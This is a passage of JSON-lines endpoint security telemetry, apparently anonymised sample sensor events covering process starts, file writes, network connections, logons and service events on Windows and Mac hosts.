12094627906234","TargetProcessId":"311776004953765502","UID":"0","aid":"ffffffff1aa0482a5ea94f64e08e7b15","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Mac","event_simpleName":"ProcessRollup2","id":"ffffffff-1111-11eb-bc03-065126dd0691","name":"ProcessRollup2MacV3","timestamp":"1604855109180"} +{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3899738370","ContextProcessId":"1546527409909","ContextThreadId":"4711690090889","ContextTimeStamp":"1604855114.133","DesiredAccess":"1180054","EffectiveTransmissionClass":"3","Entitlements":"15","FileAttributes":"0","FileIdentifier":"501ee2c32e53fb43b07f419f3236fb45c29e000000002c00","FileObject":"18446655033844205120","Information":"2","IrpFlags":"2180","MajorFunction":"0","MinorFunction":"0","OperationFlags":"0","Options":"88080484","ShareAccess":"1","Status":"0","TargetFileName":"\\Device\\HarddiskVolume4\\Windows\\Temp\\__PSScriptPolicyTest_dvkjnbka.apn.ps1","aid":"ffffffff8f1e4b77b4dae5debaa1c8bc","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"NewScriptWritten","id":"ffffffff-1111-11eb-80b5-06e11a66e03d","name":"NewScriptWrittenV7","timestamp":"1604855114427"} +{"ConfigBuild":"1007.4.0012205.1","ConfigStateHash":"1306766522","ConnectionDirection":"1","ConnectionFlags":"0","ContextProcessId":"321275232072440993","ContextTimeStamp":"1604855116.421","Entitlements":"15","InContext":"0","LocalAddressIP4":"0.0.0.0","LocalPort":"0","Protocol":"6","RemoteAddressIP4":"67.43.156.14","RemotePort":"443","aid":"ffffffffd4094240a6b1d12aaf304f4f","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Mac","event_simpleName":"NetworkConnectIP4","id":"ffffffff-1111-11eb-aca9-02683aed2a0d","name":"NetworkConnectIP4MacV5","timestamp":"1604855116502"} +{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"2602391615","ConnectionDirection":"0","ConnectionFlags":"0","ContextProcessId":"223442259384","ContextTimeStamp":"1604855116.849","EffectiveTransmissionClass":"3","Entitlements":"15","InContext":"0","LocalAddressIP4":"67.43.156.14","LocalPort":"53961","Protocol":"6","RemoteAddressIP4":"67.43.156.14","RemotePort":"443","aid":"fffffffff000426eb99afaa2ccdcbc17","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"NetworkConnectIP4","id":"ffffffff-1111-11eb-b0eb-06be7616c211","name":"NetworkConnectIP4V5","timestamp":"1604855116942"} +{"AuthenticationId":"6580764513","AuthenticationPackage":"Negotiate","ClientComputerName":"-","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3011122681","ContextProcessId":"816054990879","ContextThreadId":"52913017705957","ContextTimeStamp":"1604855091.781","EffectiveTransmissionClass":"2","Entitlements":"15","LogonDomain":"NT AUTHORITY","LogonServer":"","LogonTime":"1604855091.781","LogonType":"9","PasswordLastSet":"","RemoteAccount":"1","UserFlags":"0","UserIsAdmin":"0","UserLogonFlags":"12","UserName":"SYSTEM","UserPrincipal":"user4@dom2","UserSid":"S-1-5-18","aid":"ffffffff8d2e4b4f9b21b40633a8d579","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"UserLogon","id":"ffffffff-1111-11eb-a8cf-0649c95cfa1d","name":"UserLogonV8","timestamp":"1604855121077"} +{"AuthenticationId":"2007206396","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3011122681","ContextProcessId":"4415814628770","ContextThreadId":"41392001729898","ContextTimeStamp":"1604855120.785","DiskParentDeviceInstanceId":"PCI\\VEN_1000\u0026DEV_0054\u0026SUBSYS_197615AD\u0026REV_01\\4\u00261f16fef7\u00260\u002600A8","EffectiveTransmissionClass":"3","Entitlements":"15","FileEcpBitmask":"0","FileIdentifier":"b57cb59769dfe71180b4806e6f6e6963ea8902000000cb2c","FileObject":"18446708893089967904","IrpFlags":"1028","IsOnNetwork":"0","IsOnRemovableDisk":"0","IsTransactedFile":"0","MajorFunction":"18","MinorFunction":"0","OperationFlags":"0","SHA256HashData":"d0e1b81f3f3f18256f6447703624019eaee9b1068b3f09323eced4f547cc4182","Size":"6144","TargetFileName":"\\Device\\HarddiskVolume2\\Users\\user10\\AppData\\Local\\Temp\\ec1ijefl.dll","TokenType":"1","aid":"ffffffff2c47454cba360bc404a607bb","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"PeFileWritten","id":"ffffffff-1111-11eb-b091-06f6cca0a049","name":"PeFileWrittenV14","timestamp":"1604855121109"} +{"AuthenticationId":"317005428","AuthenticationPackage":"Negotiate","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3950066843","EffectiveTransmissionClass":"2","Entitlements":"15","LogoffTime":"1604855132.756","LogonDomain":"dom1","LogonServer":"srv2","LogonTime":"1604855131.666","LogonType":"7","PasswordLastSet":"1598119332.510","RemoteAccount":"1","UserFlags":"32","UserIsAdmin":"0","UserLogoffType":"3","UserLogonFlags":"0","UserName":"user4","UserPrincipal":"user.name@dom2.com","UserSid":"S-1-5-21-606747145-1364589140-725345543-28636","aid":"ffffffffe0104823bd3de859d5bc8bc7","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"UserLogoff","id":"ffffffff-1111-11eb-8913-0287fd11c79b","name":"UserLogoffV3","timestamp":"1604855134461"} +{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"537307300","ContextProcessId":"635780922149","ContextThreadId":"9479299143023","ContextTimeStamp":"1604855025.966","DesiredAccess":"1180054","EffectiveTransmissionClass":"3","Entitlements":"15","FileAttributes":"128","FileIdentifier":"0e02a8c7ed9d244887cef0409af0e6190030000000001100","FileObject":"18446695174291796544","Information":"2","IrpFlags":"2180","MajorFunction":"0","MinorFunction":"0","OperationFlags":"0","Options":"83886176","ShareAccess":"3","Status":"0","TargetFileName":"\\Device\\HarddiskVolume4\\Program Files\\Snow Software\\Inventory\\Agent\\cloudmeteringhost.exe","aid":"ffffffff425942f58382dbb11350eeda","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"NewExecutableWritten","id":"ffffffff-1111-11eb-93cb-067deb43537b","name":"NewExecutableWrittenV1","timestamp":"1604855149643"} +{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3765958535","ConnectionDirection":"2","ConnectionFlags":"0","ContextProcessId":"50714198593318","ContextThreadId":"194302491825207","ContextTimeStamp":"1604855150.066","EffectiveTransmissionClass":"3","Entitlements":"15","InContext":"0","LocalAddressIP4":"127.0.0.1","LocalPort":"59491","Protocol":"6","RemoteAddressIP4":"0.0.0.0","RemotePort":"0","aid":"ffffffffa51b4acf9dbc1fc273e6145c","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"NetworkListenIP4","id":"ffffffff-1111-11eb-8726-063418e4a9e7","name":"NetworkListenIP4V5","timestamp":"1604855150545"} +{"ClientComputerName":"com1","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3011122681","ContextProcessId":"7073822473144","ContextThreadId":"48689911139327","ContextTimeStamp":"1604855152.993","EffectiveTransmissionClass":"2","Entitlements":"15","EtwRawProcessId":"744","EtwRawThreadId":"5304","LogonDomain":"BROADCAST","LogonType":"3","RemoteAddressIP4":"67.43.156.14","Status":"3221225581","SubStatus":"3221225578","UserName":"user5","aid":"ffffffffd8844a59acce5e1f4ad01888","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"UserLogonFailed2","id":"ffffffff-1111-11eb-a8aa-067029dffccb","name":"UserLogonFailed2V2","timestamp":"1604855154274"} +{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3343111420","ContextProcessId":"1838383212125","ContextThreadId":"27242382481217","ContextTimeStamp":"1604855151.534","EffectiveTransmissionClass":"3","Entitlements":"15","FileIdentifier":"b0754a8f86feffffb0754a8f86feffff09764a8f86feffff","FileObject":"18446636884348143072","IrpFlags":"1028","MajorFunction":"18","MinorFunction":"0","OperationFlags":"0","TargetFileName":"\\Device\\HarddiskVolume3\\Program Files\\WindowsApps\\Deleted\\Microsoft.Getstarted_9.10.32461.0_x64__8wekyb3d8bbweacf6b996-01b3-402c-bd01-a67529f94699\\clrcompression.dll","aid":"ffffffff4a0946365161093453e596d4","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"ExecutableDeleted","id":"ffffffff-1111-11eb-b23b-064dea059649","name":"ExecutableDeletedV3","timestamp":"1604855154670"} +{"AsepWrittenCount":"0","ConfigBuild":"1007.4.0009202.1","ConfigStateHash":"230795414","ContextProcessId":"318137549555284836","ContextThreadId":"0","ContextTimeStamp":"1604855135.209","DirectoryCreatedCount":"0","DnsRequestCount":"0","Entitlements":"15","ExecutableDeletedCount":"0","FileDeletedCount":"0","NetworkBindCount":"0","NetworkCapableAsepWriteCount":"0","NetworkCloseCount":"0","NetworkConnectCount":"0","NetworkListenCount":"0","NetworkRecvAcceptCount":"0","NewExecutableWrittenCount":"0","RawProcessId":"20195","SHA256HashData":"295fbc2356e8605e804f95cb6d6f992335e247dbf11767fe8781e2a7f889978a","SuspectStackCount":"0","SuspiciousDnsRequestCount":"0","TargetProcessId":"318137549555284836","aid":"ffffffffcfe84e8c6a52c4001bd83761","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Mac","event_simpleName":"EndOfProcess","id":"ffffffff-1111-11eb-ae31-065d76bec0c3","name":"EndOfProcessMacV11","timestamp":"1604855160047"} +{"ApiReturnValue":"1","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3338885535","ContextProcessId":"683078218537","ContextTimeStamp":"1604855171.731","EffectiveTransmissionClass":"3","Entitlements":"15","EtwRawProcessId":"19400","EtwRawThreadId":"9384","aid":"ffffffff80984ea8b49d9a53f590c566","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"RegisterRawInputDevicesEtw","id":"ffffffff-1111-11eb-a570-0685ba2a382f","name":"RegisterRawInputDevicesEtwV1","timestamp":"1604855173077"} +{"CompletionEventId":"Event_ChannelDataDownloadCompleteV1","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3338885535","DownloadPath":"metahash+/cfs/channelfiles/0000000013/b2acba1a30a3407dae27d0503611022d/C-00000013-00000000-00000408.sys","DownloadPort":"443","DownloadServer":"lfodown01-b.cloudsink.net","EffectiveTransmissionClass":"0","Entitlements":"15","TargetFileName":"C-00000013-00000000-00000408.sys","aid":"ffffffffffc94c645268f64fc900213f","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"LFODownloadConfirmation","id":"ffffffff-1111-11eb-8ab5-0643392fc75d","name":"LFODownloadConfirmationV1","timestamp":"1604855174018"} +{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"1763245019","ContextProcessId":"2071361595421","ContextThreadId":"41650430047375","ContextTimeStamp":"1604855146.590","EffectiveTransmissionClass":"3","Entitlements":"15","FileIdentifier":"4b0121a43dfc1f4ca54eea679ddbcd4eef2103000000ca00","FileObject":"18446622606546437424","IrpFlags":"395312","MajorFunction":"6","MinorFunction":"0","NewFileIdentifier":"4b0121a43dfc1f4ca54eea679ddbcd4eef2103000000ca00","OperationFlags":"0","SourceFileName":"\\Device\\HarddiskVolume3\\Windows\\assembly\\temp\\EKA0UARWWK\\Microsoft.WSMan.Management.ni.dll","TargetFileName":"\\Device\\HarddiskVolume3\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.We0722664#\\c2579d00f9849413b8b7948dd00ac863\\Microsoft.WSMan.Management.ni.dll","aid":"ffffffff280b41b956a91e816bd9b9b0","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"NewExecutableRenamed","id":"ffffffff-1111-11eb-8162-0663305b686f","name":"NewExecutableRenamedV6","timestamp":"1604855177513"} +{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"402097454","ContextProcessId":"66601077523","ContextThreadId":"2500785639062","ContextTimeStamp":"1604855165.213","DesiredAccess":"1048577","EffectiveTransmissionClass":"3","Entitlements":"15","FileAttributes":"128","FileIdentifier":"d2f4250ff1ba3b4ca66e123c5269884ca6f8020000002700","FileObject":"18446641334185168032","Information":"2","IrpFlags":"2180","MajorFunction":"0","MinorFunction":"0","OperationFlags":"0","Options":"35668001","ShareAccess":"3","Status":"0","TargetFileName":"\\Device\\HarddiskVolume3\\Windows\\CbsTemp\\30848497_1904507751\\FodWU","aid":"ffffffff2c9f4066b0b5f2f00265503c","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"DirectoryCreate","id":"ffffffff-1111-11eb-9411-06b7c99be087","name":"DirectoryCreateV1","timestamp":"1604855180332"} +{"AuthenticationId":"999","CommandLine":"C:\\WINDOWS\\system32\\svchost.exe -k netsvcs -p -s wlidsvc","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3343111420","ContextTimeStamp":"1604855196.468","EffectiveTransmissionClass":"3","Entitlements":"15","ImageFileName":"\\Device\\HarddiskVolume3\\Windows\\System32\\svchost.exe","InterfaceGuid":"367ABB81-9844-35F1-AD32-98F038001003","InterfaceVersion":"131072","RpcClientProcessId":"949196415400","RpcClientThreadId":"44209361549673","RpcNestingLevel":"0","RpcOpNum":"19","ServiceDisplayName":"wlidsvc","TargetProcessId":"955370934902","TokenType":"1","UserName":"user6","aid":"fffffffffcc4413057adc260e99b0774","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"ServiceStarted","id":"ffffffff-1111-11eb-9c98-02c501fe7d81","name":"ServiceStartedV2","timestamp":"1604855196635"} +{"ConfigBuild":"1007.4.0011104.1","ConfigStateHash":"203564169","ConnectionDirection":"0","ConnectionFlags":"0","ContextProcessId":"319255017313886870","ContextTimeStamp":"1604855200.751","Entitlements":"15","InContext":"0","LocalAddressIP6":"0:0:0:0:0:0:0:0","LocalPort":"0","Protocol":"6","RemoteAddressIP6":"0:0:0:0:0:0:0:1","RemotePort":"2181","aid":"ffffffffed0f41575620ab9fb25ce105","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Mac","event_simpleName":"NetworkConnectIP6","id":"ffffffff-1111-11eb-81f1-061cdebbd115","name":"NetworkConnectIP6MacV5","timestamp":"1604855200836"} +{"AuthenticationId":"1656178821","AuthenticationPackage":"Kerberos","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3338885535","ContextProcessId":"30254389526587","ContextThreadId":"275230771323179","EffectiveTransmissionClass":"2","Entitlements":"15","LogonDomain":"dom1","LogonId":"1656178821","LogonServer":"srv1","LogonTime":"1604855211.249","LogonType":"5","PasswordLastSet":"1530626210.104","RemoteAccount":"1","SessionId":"0","UserCanonical":"","UserFlags":"32","UserIsAdmin":"0","UserLogonFlags":"0","UserName":"user7","UserPrincipal":"user7@dom4.cm","UserSid":"S-1-5-21-606747145-1364589140-725345543-183372","aid":"ffffffff73164cfa9656c4caff8a2a38","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"UserIdentity","id":"ffffffff-1111-11eb-86e3-02db1faa1327","name":"UserIdentityV2","timestamp":"1604855212031"} +{"AuthenticationId":"999","CommandLine":"C:\\WINDOWS\\System32\\svchost.exe -k netsvcs -p -s NetSetupSvc","ConfigBuild":"1007.3.0010609.1","ConfigStateHash":"4193986770","EffectiveTransmissionClass":"3","Entitlements":"15","ImageFileName":"\\Device\\HarddiskVolume3\\Windows\\System32\\svchost.exe","ImageSubsystem":"2","IntegrityLevel":"16384","MD5HashData":"8a0a29438052faed8a2532da50455756","ParentAuthenticationId":"999","ParentProcessId":"2881931477041","ProcessCreateFlags":"525324","ProcessEndTime":"","ProcessParameterFlags":"8193","ProcessStartTime":"1604842733.215","ProcessSxsFlags":"64","RawProcessId":"6160","SHA1HashData":"0000000000000000000000000000000000000000","SHA256HashData":"7fd065bac18c5278777ae44908101cdfed72d26fa741367f0ad4d02020787ab6","SessionId":"0","SourceProcessId":"2881931477041","SourceThreadId":"70316664105336","Tags":"27, 29, 53, 54, 55, 185, 10445360464024, 10445360464025, 10445360464026, 10445360464258, 10445360464273, 10445360464274, 12094627905582, 12094627906234, 211655988347297","TargetProcessId":"2882232404222","TokenType":"2","UserSid":"S-1-5-18","WindowFlags":"128","aid":"ffffffffbe8a46386afe80c5ef64d0b5","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"ProcessRollup2","id":"ffffffff-1111-11eb-b4f9-06e3a7e5503b","name":"ProcessRollup2V16","timestamp":"1604855237946"} +{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"1763245019","ContextProcessId":"1016182570608","ContextThreadId":"37343520154472","ContextTimeStamp":"1604829512.519","DesiredAccess":"1179785","EffectiveTransmissionClass":"3","Entitlements":"15","FileAttributes":"0","FileIdentifier":"7a9c1c1610045d45a54bd6643ac12ea767a5020000000c00","FileObject":"18446670458156489088","Information":"1","IrpFlags":"2180","MajorFunction":"0","MinorFunction":"0","OperationFlags":"0","Options":"16777312","ShareAccess":"5","Status":"0","TargetFileName":"\\Device\\HarddiskVolume3\\Users\\user11\\Downloads\\file.pptx","aid":"ffffffffac4148947ed68497e89f3308","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"RansomwareOpenFile","id":"ffffffff-1111-11eb-9756-06fe7f8f682f","name":"RansomwareOpenFileV4","timestamp":"1604855242091"} +{"AllocateVirtualMemoryCount":"0","ArchiveFileWrittenCount":"0","AsepWrittenCount":"0","BinaryExecutableWrittenCount":"0","CLICreationCount":"0","ConHostId":"13532","ConHostProcessId":"1731198143955","ConfigBuild":"1007.3.0010609.1","ConfigStateHash":"2030177841","ContextData":"","ContextProcessId":"1741732942772","ContextThreadId":"28523520529271","ContextTimeStamp":"1604855274.377","CycleTime":"473618996","DirectoryCreatedCount":"0","DirectoryEnumeratedCount":"0","DnsRequestCount":"0","DocumentFileWrittenCount":"0","EffectiveTransmissionClass":"3","Entitlements":"15","ExeAndServiceCount":"0","ExecutableDeletedCount":"0","ExitCode":"0","FileDeletedCount":"0","GenericFileWrittenCount":"0","ImageSubsystem":"2","InjectedDllCount":"0","InjectedThreadCount":"0","KernelTime":"1406250","MaxThreadCount":"16","ModuleLoadCount":"72","NetworkBindCount":"0","NetworkCapableAsepWriteCount":"0","NetworkCloseCount":"0","NetworkConnectCount":"0","NetworkConnectCountUdp":"0","NetworkListenCount":"0","NetworkModuleLoadCount":"0","NetworkRecvAcceptCount":"0","NewExecutableWrittenCount":"0","ParentProcessId":"1731198143955","PrivilegedProcessHandleCount":"0","ProcessStartTime":"1604855154.465","ProtectVirtualMemoryCount":"0","QueueApcCount":"0","RawProcessId":"18176","RegKeySecurityDecreasedCount":"0","RemovableDiskFileWrittenCount":"0","RunDllInvocationCount":"0","SHA256HashData":"87419b84f34cdb13f699c0f0803c957e48c27ad83334fcad7bac9ad89c0a466f","ScreenshotsTakenCount":"0","ScriptEngineInvocationCount":"0","ServiceEventCount":"0","SetThreadContextCount":"0","SnapshotFileOpenCount":"0","SuspectStackCount":"0","SuspiciousCredentialModuleLoadCount":"0","SuspiciousDnsRequestCount":"0","SuspiciousFontLoadCount":"0","SuspiciousRawDiskReadCount":"0","TargetProcessId":"1741732942772","UnsignedModuleLoadCount":"0","UserMemoryAllocateExecutableCount":"0","UserMemoryAllocateExecutableRemoteCount":"0","UserMemoryProtectExecutableCount":"0","UserMemoryProtectExecutableRemoteCount":"0","UserSid":"S-1-12-1-1647509123-1308660782-3901357462-3999411581","UserTime":"781250","aid":"fffffffffdab492a5a20cd0417395a73","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"EndOfProcess","id":"ffffffff-1111-11eb-b685-0241eaddc553","name":"EndOfProcessV14","timestamp":"1604855276657"} +{"AuthenticationId":"895027","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3338885535","ContextProcessId":"1786917081743","ContextThreadId":"31685015444484","ContextTimeStamp":"1604855317.892","EffectiveTransmissionClass":"3","Entitlements":"15","FileEcpBitmask":"0","FileIdentifier":"0000000000000000be341bb58bc5f1f2a24339010200510e","FileObject":"18446636933702558240","IrpFlags":"1028","IsOnNetwork":"1","IsOnRemovableDisk":"0","MajorFunction":"18","MinorFunction":"0","OperationFlags":"0","Size":"223989","TargetFileName":"\\Device\\Mup\\intranet.dev\\int\\Test.pptx","TokenType":"1","aid":"fffffffffa474d216472f3edb73c75ed","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"OoxmlFileWritten","id":"ffffffff-1111-11eb-9165-067ee18a7975","name":"OoxmlFileWrittenV11","timestamp":"1604855329571"} +{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3765958535","ConnectionDirection":"2","ConnectionFlags":"0","ContextProcessId":"439029805661","ContextThreadId":"273683743193497","ContextTimeStamp":"1604855351.158","EffectiveTransmissionClass":"3","Entitlements":"15","InContext":"0","LocalAddressIP6":"2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6","LocalPort":"50373","Protocol":"6","RemoteAddressIP6":"0:0:0:0:0:0:0:0","RemotePort":"0","aid":"ffffffff1f924e228a807ea4c0f21b0b","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"NetworkListenIP6","id":"ffffffff-1111-11eb-85f5-02ab029194b9","name":"NetworkListenIP6V5","timestamp":"1604855351798"} +{"ConfigBuild":"1007.4.0011104.1","ConfigStateHash":"1457965279","ContextProcessId":"321365562189152025","ContextThreadId":"0","ContextTimeStamp":"1604846070.744","Entitlements":"15","SHA256HashData":"e1bed7598ffdecf63a4d240f8309b528fc45068c6cb8137a5090f3afeb57f29d","Size":"29646","TargetFileName":"/System/Library/CoreServices/SecurityAgentPlugins/HomeDirMechanism.bundle/Contents/MacOS/HomeDirMechanism/..namedfork/rsrc","VnodeModificationType":"10","aid":"ffffffff1f32487185fcde66a9dc0528","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Mac","event_simpleName":"AsepFileChange","id":"ffffffff-1111-11eb-b9b4-063e98f9b19b","name":"AsepFileChangeMacV2","timestamp":"1604855355495"} +{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3011122681","ContextProcessId":"2932136","ContextThreadId":"36157339485804","ContextTimeStamp":"1604855191.803","EffectiveTransmissionClass":"2","Entitlements":"15","LogonTime":"","PasswordLastSet":"","UserLogonFlags":"1","UserName":"user7","UserSid":"S-1-5-10","aid":"ffffffffa5bd4efaa195a7132c576edc","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"UserLogonFailed","id":"ffffffff-1111-11eb-aa5a-0207e26418af","name":"UserLogonFailedV1","timestamp":"1604855193422"} +{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"1858880895","ConnectionDirection":"0","ConnectionFlags":"0","ContextProcessId":"56042872298","ContextTimeStamp":"1604855136.669","EffectiveTransmissionClass":"3","Entitlements":"15","InContext":"0","LocalAddressIP6":"2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6","LocalPort":"49689","Protocol":"6","RemoteAddressIP6":"2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6","RemotePort":"443","aid":"ffffffff6854438eb4181691ec47e43d","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"NetworkConnectIP6","id":"ffffffff-1111-11eb-a889-061944805289","name":"NetworkConnectIP6V5","timestamp":"1604855199798"} +{"ConfigBuild":"1007.4.0011104.1","ConfigStateHash":"1789338890","ContextProcessId":"321382909294815631","ContextThreadId":"0","ContextTimeStamp":"1604853755.987","Entitlements":"15","SHA256HashData":"fa07e991e0c3f3661794bba39061433265162b10cd9036751941cc45e6a4b583","Size":"165","SourceFileName":"/Library/Application Support/JAMF/tmp/.dat.nosync2c98.VBwjsq","TargetFileName":"/Library/Application Support/JAMF/tmp/6B24D2B6-BC17-4470-8078-91A787A19478","aid":"ffffffffc07b49d6b7426e970523671a","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Mac","event_simpleName":"NewExecutableRenamed","id":"ffffffff-1111-11eb-8773-06939a2f0915","name":"NewExecutableRenamedMacV1","timestamp":"1604855213224"} +{"ConfigBuild":"1007.4.0011104.1","ConfigStateHash":"203564169","ConnectionDirection":"0","ConnectionFlags":"0","ContextProcessId":"321367236803434269","ContextTimeStamp":"1604855268.323","Entitlements":"15","InContext":"0","LocalAddressIP6":"0:0:0:0:0:0:0:0","LocalPort":"51076","Protocol":"6","RemoteAddressIP6":"0:0:0:0:0:0:0:0","RemotePort":"0","aid":"ffffffffa60a47af4ebd2a76070f0d4f","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Mac","event_simpleName":"NetworkListenIP6","id":"ffffffff-1111-11eb-9a50-0669ff09604d","name":"NetworkListenIP6MacV5","timestamp":"1604855268755"} +{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3765958535","ContextProcessId":"1611521722601","ContextThreadId":"53405065993811","ContextTimeStamp":"1604855280.307","DomainName":"raw.githubusercontent.com","DualRequest":"0","EffectiveTransmissionClass":"3","Entitlements":"15","InterfaceIndex":"0","RequestType":"1","aid":"ffffffff6d724d38af99c628fb904626","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"SuspiciousDnsRequest","id":"ffffffff-1111-11eb-885e-02ac336efd4b","name":"SuspiciousDnsRequestV2","timestamp":"1604855323217"} +{"ConfigBuild":"100.3.0011603.1","ContextProcessId":"4492535979973","ContextThreadId":"14023068415125","ContextTimeStamp":"1604855315.034","DiskParentDeviceInstanceId":"PCI\\VEN_8086\u0026DEV_31E3\u0026SUBSYS_080C1028\u0026REV_03\\3\u002611583659\u00260\u002690","EffectiveTransmissionClass":"3","Entitlements":"15","VolumeDeviceCharacteristics":"131072","VolumeDeviceObjectFlags":"134479872","VolumeDeviceType":"8","VolumeDriveLetter":"C:","VolumeFileSystemDevice":"\\Ntfs","VolumeFileSystemDriver":"\\FileSystem\\Ntfs","VolumeFileSystemType":"2","VolumeIsEncrypted":"0","VolumeMountPoint":"\\??\\Volume{9b46da3f-ce44-432f-9230-c9201504bfd7}","VolumeName":"\\Device\\HarddiskVolume4","VolumeRealDeviceName":"\\Device\\HarddiskVolume4","VolumeSectorSize":"512","aid":"ffffffff1990483499a736373600eef7","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"FsVolumeMounted","id":"ffffffff-1111-11eb-9be9-024459b713c5","name":"FsVolumeMountedV6","timestamp":"1604855329102"} +{"ConfigBuild":"1007.4.0011104.1","ConfigStateHash":"1789338890","ConnectionDirection":"0","ConnectionFlags":"0","ContextProcessId":"321210562584146513","ContextTimeStamp":"1604855127.011","Entitlements":"15","InContext":"0","LocalAddressIP4":"127.0.0.1","LocalPort":"53","Protocol":"6","RemoteAddressIP4":"0.0.0.0","RemotePort":"0","aid":"ffffffffe5ff467b4f0c4fd41a4462bb","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Mac","event_simpleName":"NetworkListenIP4","id":"ffffffff-1111-11eb-ae74-065212970c5d","name":"NetworkListenIP4MacV5","timestamp":"1604855128936"} +{"AuthenticationId":"999","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3338885535","ContextTimeStamp":"1604855185.108","EffectiveTransmissionClass":"3","Entitlements":"15","ImageFileName":"\\Device\\HarddiskVolume1\\Windows\\System32\\gpsvc.dll","InterfaceGuid":"367ABB81-9844-35F1-AD32-98F038001003","InterfaceVersion":"131072","RpcClientProcessId":"219053851298","RpcClientThreadId":"22047924482692","RpcNestingLevel":"0","RpcOpNum":"19","ServiceDisplayName":"gpsvc","TargetProcessId":"224116976578","TargetThreadId":"22920092479704","TokenType":"1","UserName":"user7","aid":"ffffffff59514ea68b4693ddfb9b6643","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"HostedServiceStarted","id":"ffffffff-1111-11eb-860c-0606af112d55","name":"HostedServiceStartedV2","timestamp":"1604855184068"} +{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3338885535","ContextTimeStamp":"1604855299.018","EffectiveTransmissionClass":"3","Entitlements":"15","ServiceDisplayName":"wuauserv","TargetProcessId":"661455186053","TargetThreadId":"24238019995551","aid":"ffffffff2b5a4bf5afc6682595faa016","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"HostedServiceStopped","id":"ffffffff-1111-11eb-9b11-0602a5689467","name":"HostedServiceStoppedV1","timestamp":"1604855302512"} 